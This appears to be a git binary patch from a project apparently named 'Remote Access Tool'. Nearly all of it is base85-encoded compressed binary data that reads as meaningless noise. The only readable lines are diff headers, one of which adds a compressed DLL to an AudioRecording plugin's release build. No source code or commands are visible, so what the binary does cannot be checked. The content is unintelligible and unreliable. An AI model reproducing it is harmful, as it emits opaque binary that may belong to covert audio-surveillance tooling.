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 RhCV`dWN7#XEP)sC{{a8*D-r+z diff --git a/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/AudioRecording/obj/Release/Costura/0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..d9d581db7bf0d1870559711f1dce5e8dd7438e3d GIT binary patch literal 31395 zcmZshcQ_nv`0wAm=|v<2iB%H4dl9RXrne}&I?-8{=$%9of-KQH(QVPKUJ_;XZk5#% zC0LdytCur!e%CqYkMqZT=6=54`@U!Q*~>gLV;a)0ztM%v?wv1d2q!;y{PHp4Ywthr zpD@0-%`bA#_xh)Ik3}9_y&C-P>VJ|sg%6&W=5U3Xj0^DWg@wb5CO{lSLTM4asK=|{ z?VNKNH?w~{E8n~nuF0g5R!S}-b|s3x}2H0AO7i|W`MB#iSL z8jls5s8DWL61lR&TI5ACed`SNr_^Trk=en8nU7tkGW(*2e^rcT5zqUoJU++wxD-*Iq(tR?e zy#NzERjE>p&U{pz6Y+Kug-6q(%xl(#vVUI6?sIv5cy5iR6-38g&)-TK8vhw2;ncPn zdf4TD{7@7eL1n*SoIF7JYJUIvnc(@N(Hj17M4dsg@48a!a7cTIDo6lKRT=$VAsb8u zXZ^{pVn5TpW~E!R%GM&@SbS0xSeuBg%W+gQNPl9G1Q}O`PhVa2NMF)0u>r-io5PI^ zznVsf=vbeLP;jVZr^A&x!ON~bG68lkFEV1Vf(eJjhNXN_gy zS~yyN+7=c=KjOF>$011Ss-!TUTlj1qAegQxc$e=R;vY~Wb|@9W0)Ml7r(Uqf_3GlI zjd#WlPP|XP3N}6yt1S`U&^FhS)83E92)_Pyt4EE$--FX6;WsjtGuKLw!;iT5Mu))o zhr=45&rw^=Pnz=oj^FvmgGWVx%0DMQAx70y%^j)qt^FhWx(Pd{Q=UV7rJf-%m>XS> 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 